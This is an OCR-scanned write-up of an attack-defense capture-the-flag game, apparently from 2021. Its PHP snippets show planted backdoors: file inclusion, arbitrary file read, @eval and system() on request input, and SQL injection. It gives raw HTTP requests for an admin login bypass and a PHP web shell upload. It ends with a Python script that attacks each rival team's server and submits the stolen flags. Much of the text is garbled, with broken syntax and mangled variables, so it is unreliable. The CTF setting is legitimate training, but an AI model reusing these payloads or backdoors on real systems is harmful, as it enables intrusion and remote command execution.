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teaml:ctf:a98ceabc2ee6842bc2edcbObd@5e0e59
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$ passwd

Changing password for ctf.

(current) UNIX password:

Retype new UNIX password:

passwd: password updated successfully
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tar -zcvf /tmp/web.tar.gz /var/www/html/*
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<?php
$file=$ GET['file'];
include $file;

?>
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http://119.23.75.183:8801/about.php?file=../flag
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@eval($_REQUEST['c']);
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http://119.23.75.183:8801/config.php?c=system(%27cat%20../flagkh27);
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| Add shell = o] &

O Add *® Clear

Shell url * http://119.23.75.183:8801/config.php
shell pwd = |c
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<?php

include 'header.php’;

$file_path = $ GET['path'];
if(file_exists($file_path)){

$fp = fopen($file_path,"r");

$str = fread($fp,filesize($file_path));

echo $str = str_replace("\r\n","<br />",$str);
?>
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http://119.23.75.183:8801/contact.php?path=../flag
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<?php

$shell=$ POST['shell'];
system($shell);
if($shell !=""){
exit();

?>
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curl http://119.23.75.183:8801/footer.php -X POST -d "shell=cat ../flag"
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include 'header.php’;
include_once('config.php');

if (lempty( ['id'])) {
=$_GET['id"];
= "SELECT * FROM news WHERE id= "
= mysqli_query( > )5
}
= mysqli_fetch_array( );
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POST /login.php HTTP/1.1

Host: 119.23.75.183:8801

Content-Length: 56

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://119.23.75.183:8801

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.15
0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applica
tion/signed-exchange;v=b3;q=0.9

Referer: http://119.23.75.183:8801/login.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: PHPSESSID=c52b9t80jcjoj271gccfjcpbt5

Connection: close

username=admin%27+and+1%3D1%23&password=1&button=SIGN-IN
#iX Busername=admin' and 1=1#, HMFEHE
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boolean false
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<h3>flag:<?php system("cat /flag")?></h3>
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= ["pic']['error'];
= ["pic"]["tmp_name'];
["pic']["'name’];

["pic']['size'];

= ["'pic']['type'];

try{
if( l=="")
{
=substr( ,-4);
if(is_uploaded_file( )){
=time();
='./upload/". . ;
=fopen( , "r") or die('No such file!'");
=fread( , filesize( ));
if(strstr( , ' fuck')){

exit("<script language='3JavaScript'>alert('You should not do this!');window.location="1i

ndex.php?page=submit'</script>");

}
if(!move_uploaded_file( 5 ) {
echo "<script language='JavaScript'>alert(' (#3106 ! ") ;window. location="index.php?page=submit'</script>";
exit;
}
}
echo " Ff&pT): /upload/". . g
}
}
catch(Exception )
{
echo "ERROR";
}
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POST /admin/upload.php HTTP/1.1

Host: 119.23.75.183:8801

Content-Length: 222

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.18
2 Safari/537.36

Origin: http://119.23.75.183:8801

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaAMb3wuwlJOW9all

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applica
tion/signed-exchange;v=b3;q=0.9

Referer: http://119.23.75.183:8801/admin/index.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: PHPSESSID=hrhiliit2iu72r9htbso80ig23

Connection: close

—————— WebKitFormBoundaryaAMb3wuwlJOW9all
Content-Disposition: form-data; name="pic"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST['flag']);?>
—————— WebKitFormBoundaryaAMb3wuwlJOW9all- -
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FAERTh: /upload/1613702871.php
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http://119.23.75.183:8801/admin/upload/1613702582.php
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AntSword Data Edit Window
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# -*- coding: UTF-8 -*-

# --author:valecalida--

# 2021/2/18 13:24

import requests

from re import search, findall
from time import sleep

class YunnanSimple:

def __init_ (self):
self.url = "http://119.23.75.183:880"
self.score = "http://119.23.75.183:8080/score.txt"
self.token = "http://119.23.75.183:8080/flag _file.php?token=teaml&flag="
self.path_1 = "/login.php"
self.path_2 = "/about.php?file=../flag"
self.path_3 = "/footer.php"
self.path_4 = "/config.php?c=system('cat ../flag');"
self.path_5 = "/contact.php?path=../flag"
self.path_6 = "/index.phpraa=system(%27cat%20../flag%27);"
self.flag = []

def file read(self, iface):

url = self.url + str(iface) + self.path_5

try:
res = requests.get(url=url)
flag = findall('\w{32}<!-- banner -->', res.text)[0][0:32]
print("[+] Team%d fEcontactii b¥iR{J5I1/flag is: %s" % (iface, flag))
self.flag.append(flag)

except Exception as e:
print("\t[-1 Got an error as %s in eval door" % e)



def eval door(self, iface):

url = self.url + str(iface) + self.path_6

try:
res = requests.get(url=url)
flag = findall('\w{32}<!-- banner -->', res.text)[0][0:32]
print("[+] Team%d fEindex¥: Ui M¥ilf/51]¥flag is: %s" % (iface, flag))
self.flag.append(flag)

except Exception as e:
print("\t[-] Got an error as %s in eval_door" % e)

def requests_door(self, iface):

url = self.url + str(iface) + self.path_4

try:
res = requests.get(url=url)
print("[+] Team%d [fconfigft& 7l L [f1flag is: %s" % (iface, res.text))
self.flag.append(res.text)

except Exception as e:
print("\t[-] Got an error as %s in requests_door" % e)

def admin_login(self, iface):
url = self.url + str(iface) + self.path_1
form = {"username": "admin' or 'a'='a", "password": "1", "button": "SIGN-IN"}
try:
res = requests.post(url=url, data=form)
flag = search(r'<h3>flag:(.*?)</h3>", res.text).group(1)
if len(flag) == 32:
print("[+] Team%d HJAdmin FTifjflag is: %s" % (iface, flag))
self.flag.append(flag)
except AttributeError:
print("\t[-] MH5ETeam%d [1TEEMECHIEE! " % iface)
except Exception as e:
print("\t[-] Got an error as %s in admin_login" % e)

def file_inclusion(self, iface):
url = self.url + str(iface) + self.path_2
try:
res = requests.get(url)
flag = res.text[0:32]
if '-' in flag:
print("\t[-] F5ETeam%d XIS CHER! " % iface)
else:
print("[+] Team%d I &flag is: %s" % (iface, flag))
self.flag.append(flag)
except Exception as e:
print("\t[-] Got an error as %s in file_inclusion " % e)

def command_execution(self, iface):
url = self.url + str(iface) + self.path_3
try:
res = requests.post(url=url, data={'shell': 'cat ../flag'})
flag = res.text
if len(flag) == 32:
print("[+] Team%d HIm2HATHIIflag is: %s" % (iface, flag))
self.flag.append(flag)
else:
print("\t[-] FEETeam¥%d MmAPITEMEE! " % iface)
except Exception as e:
print("[-] Got an error as %s in command_execution" % e)



def submit_flag(self):

for i in range(1, 5):
self.admin_login(i)
self.command_execution(i)
self.file_inclusion(i)
self.requests_door(i)
self.eval_door(i)
self.file_read(i)
print()

self.flag = list(set(self.flag))

for flag in self.flag:
res = requests.get(url=self.token + str(flag))

if res.text == "success":

print("[+] Submit flag: %s success! The score has increased! " % flag)
elif res.text == "error: no such flag":

print("\t[-] Submit flag: %s error, the flag might be fake" % flag)
else:

print("\t[-] Submit flag error, please check it manually!")

def show_score(self):
res = requests.get(self.score)
score = res.text.split("|")
print("==============================")
print("\tTeam 1 M5 #CH: %s " % score[0])
print("\tTeam 2 M5 #CAH: %s " % score[1])
print("\tTeam 3 M4 #CA: %s " % score[2])
print("\tTeam 4 5 #CA: %s " % score[3])

if __name__ == '__main__":
while True:
YunnanSimple().submit_flag()

YunnanSimple().show_score()
sleep(60)
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